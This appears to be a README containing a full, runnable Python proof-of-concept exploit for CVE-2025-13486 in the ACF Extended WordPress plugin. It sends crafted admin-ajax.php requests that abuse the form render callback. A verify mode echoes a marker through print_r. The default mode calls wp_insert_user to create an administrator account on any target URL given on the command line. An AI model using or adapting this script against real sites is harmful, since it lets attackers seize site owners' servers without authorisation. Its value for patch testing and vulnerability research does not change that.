README.md
Rendering markdown...
import requests
import sys
import random
import string
import argparse
from urllib.parse import urljoin
def generate_random_string(length=8):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def get_nonce(url):
try:
response = requests.get(url, verify=False, timeout=10)
# Look for acf.nonce in the response text
import re
match = re.search(r'acf\.data.*?"nonce":"([a-f0-9]+)"', response.text)
if match:
return match.group(1)
except:
pass
return None
def verify_vulnerability(url):
"""
Verify the vulnerability using print_r with a random string.
"""
target_url = urljoin(url, "/wp-admin/admin-ajax.php")
random_marker = generate_random_string(12)
print(f"[*] Target: {target_url}")
print(f"[*] Verifying vulnerability with random marker: {random_marker}")
nonce = get_nonce(url)
if nonce:
print(f"[*] Found Nonce: {nonce}")
else:
print(f"[-] Could not find nonce, attempting without it (might fail).")
# Payload using print_r to verify vulnerability
payload = {
"action": "acfe/form/render_form_ajax",
"nonce": nonce if nonce else "",
"form[render]": "print_r",
"form[custom_payload]": random_marker,
}
try:
response = requests.post(target_url, data=payload, verify=False, timeout=10)
print(f"[*] Request sent. Status Code: {response.status_code}")
if random_marker in response.text:
print(f"\n[+] VULNERABLE! Random marker found in response.")
print(f"[+] The target is vulnerable to CVE-2025-13486.")
return True
else:
print(f"\n[-] Not vulnerable or marker not found in response.")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Error sending request: {e}")
return False
def exploit(url, username, password, email):
target_url = urljoin(url, "/wp-admin/admin-ajax.php")
print(f"[*] Target: {target_url}")
nonce = get_nonce(url)
if nonce:
print(f"[*] Found Nonce: {nonce}")
else:
print(f"[-] Could not find nonce, attempting without it (might fail).")
print(f"[*] Creating Admin User:")
print(f" User: {username}")
print(f" Pass: {password}")
print(f" Email: {email}")
# Payload to exploit call_user_func_array($form['render'], array($form))
# Action: acfe/form/render_form_ajax
payload = {
"action": "acfe/form/render_form_ajax",
"nonce": nonce if nonce else "",
"form[render]": "wp_insert_user",
"form[user_login]": username,
"form[user_pass]": password,
"form[user_email]": email,
"form[role]": "administrator",
}
try:
response = requests.post(target_url, data=payload, verify=False, timeout=10)
print(f"[*] Request sent. Status Code: {response.status_code}")
# print(response.text) # Debugging
print("\n[+] Exploit attempt finished.")
print("[*] Please manually verify by logging in with the created credentials.")
except requests.exceptions.RequestException as e:
print(f"[-] Error sending request: {e}")
def main():
parser = argparse.ArgumentParser(description="CVE-2025-13486 PoC - ACFE RCE (Admin Creation)")
parser.add_argument("-u", "--url", required=True, help="Target WordPress URL (e.g., http://example.com)")
parser.add_argument("--verify", action="store_true", help="Only verify vulnerability (safer, uses print_r)")
parser.add_argument("--user", help="Username to create (default: random)")
parser.add_argument("--password", help="Password to set (default: random)")
parser.add_argument("--email", help="Email to set (default: random)")
args = parser.parse_args()
if args.verify:
# Run verification mode
verify_vulnerability(args.url)
else:
# Run full exploit mode (create admin user)
username = args.user if args.user else "admin_" + generate_random_string(5)
password = args.password if args.password else generate_random_string(12)
email = args.email if args.email else f"{username}@example.com"
exploit(args.url, username, password, email)
if __name__ == "__main__":
main()